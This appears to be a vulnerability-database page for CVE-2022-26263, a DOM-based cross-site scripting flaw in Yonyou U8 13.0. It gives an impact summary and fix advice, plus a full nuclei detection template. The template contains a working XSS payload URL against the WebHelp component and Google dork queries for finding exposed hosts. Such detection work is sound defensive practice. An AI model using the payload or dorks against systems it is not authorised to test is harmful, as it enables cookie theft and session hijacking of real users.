HexBrain

Browse / CVEs / CVE-2022-26263

CVE-2022-26263· yonyou / u8\+· CWE-79

Yonyou U8 13.0 - Cross-Site Scripting

mediumseverity
6.1CVSS score
41.7%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Yonyou U8 13.0 contains a DOM-based cross-site scripting vulnerability via the component /u8sl/WebHelp. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Apply the latest security patches or updates provided by the vendor to fix the XSS vulnerability in the Yonyou U8 13.0 application.

How to confirm it

Positive when: contains "<frame src=\"javascript:console.log(document.domain)\"" and "webhelp4.js"

Run it with nuclei: nuclei -id CVE-2022-26263 -u <target>

The full check
id: CVE-2022-26263

info:
  name: Yonyou U8 13.0 - Cross-Site Scripting
  author: edoardottt,theamanrawat
  severity: medium
  description: |
    Yonyou U8 13.0 contains a DOM-based cross-site scripting vulnerability via the component /u8sl/WebHelp. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the XSS vulnerability in the Yonyou U8 13.0 application.
  reference:
    - https://github.com/s7safe/CVE/blob/main/CVE-2022-26263.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-26263
    - http://yonyou.com
    - https://www.yonyou.com/
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-26263
    cwe-id: CWE-79
    epss-score: 0.41722
    epss-percentile: 0.98698
    cpe: cpe:2.3:a:yonyou:u8\+:13.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: yonyou
    product: u8\+
    google-query:
      - inurl:/u8sl/WebHelp
      - inurl:/u8sl/webhelp
  tags: cve,cve2022,yonyou,xss,headless,vuln
headless:
  - steps:
      - args:
          url: '{{BaseURL}}/U8SL/WebHelp/PB_Por_zh-CN.htm?wvstest=javascript:domxssExecutionSink(1,"%27"><xsstag>()locxss")#javascript:console.log(document.domain)'
        action: navigate

      - action: waitload
    matchers:
      - type: word
        words:
          - '<frame src="javascript:console.log(document.domain)"'
          - 'webhelp4.js'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from